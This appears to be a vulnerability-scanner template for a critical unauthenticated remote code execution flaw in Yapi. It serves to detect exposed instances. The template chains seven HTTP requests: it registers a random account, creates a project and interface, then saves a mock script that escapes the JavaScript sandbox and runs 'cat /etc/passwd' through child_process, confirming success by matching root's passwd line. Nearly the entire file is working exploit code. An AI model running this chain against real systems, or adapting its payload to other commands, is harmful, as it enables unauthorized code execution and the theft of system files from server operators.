id: yapi-rce

info:
  name: Yapi Remote Code Execution
  author: pikpikcu
  severity: critical
  tags: yapi,rce
  description: A vulnerability in Yapi allows remote unauthenticated attackers to cause the product to execute arbitrary code.
  reference:
    - https://www.secpulse.com/archives/162502.html
    - https://gist.github.com/pikpikcu/0145fb71203c8a3ad5c67b8aab47165b
    - https://twitter.com/sec715/status/1415484190561161216
    - https://github.com/YMFE/yapi

requests:
  - raw:
      - | # REQUEST 1
        POST /api/user/reg HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json;charset=UTF-8

        {"email":"{{randstr}}@example.com","password":"{{randstr}}","username":"{{randstr}}"}

      - | # REQUEST 2
        GET /api/group/list HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json, text/plain, */*

      - | # REQUEST 3
        POST /api/project/add HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json;charset=UTF-8

        {"name":"{{randstr}}","basepath":"","group_id":"{{group_id}}","icon":"code-o","color":"cyan","project_type":"private"}

      - | # REQUEST 4
        GET /api/project/get?id={{project_id}} HTTP/1.1
        Host: {{Hostname}}

      - | # REQUEST 5
        POST /api/interface/add HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json;charset=UTF-8

        {"method":"GET","catid":"{{project_id}}","title":"{{randstr_1}}","path":"/{{randstr_1}}","project_id":{{project_id}}}

      - | # REQUEST 6
        POST /api/plugin/advmock/save HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json;charset=UTF-8

        {"project_id":"{{project_id}}","interface_id":"{{interface_id}}","mock_script":"const sandbox = this\r\nconst ObjectConstructor = this.constructor\r\nconst FunctionConstructor = ObjectConstructor.constructor\r\nconst myfun = FunctionConstructor('return process')\r\nconst process = myfun()\r\nmockJson = process.mainModule.require(\"child_process\").execSync(\"cat /etc/passwd\").toString()","enable":true}

      - | # REQUEST 7
        GET /mock/{{project_id}}/{{randstr_1}} HTTP/1.1
        Host: {{Hostname}}

    cookie-reuse: true
    extractors:
      - type: regex
        name: group_id
        group: 1
        internal: true
        part: body
        regex:
          - '"_id":([0-9]+),"group_name"'

      - type: regex
        name: interface_id
        group: 1
        internal: true
        part: body
        regex:
          - '"req_body_form":\[\],"_id":([0-9]+)'

      - type: regex
        name: project_id
        group: 1
        internal: true
        part: body
        regex:
          - '"tag":\[\],"_id":([0-9]+)'

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"
        part: body

      - type: status
        status:
          - 200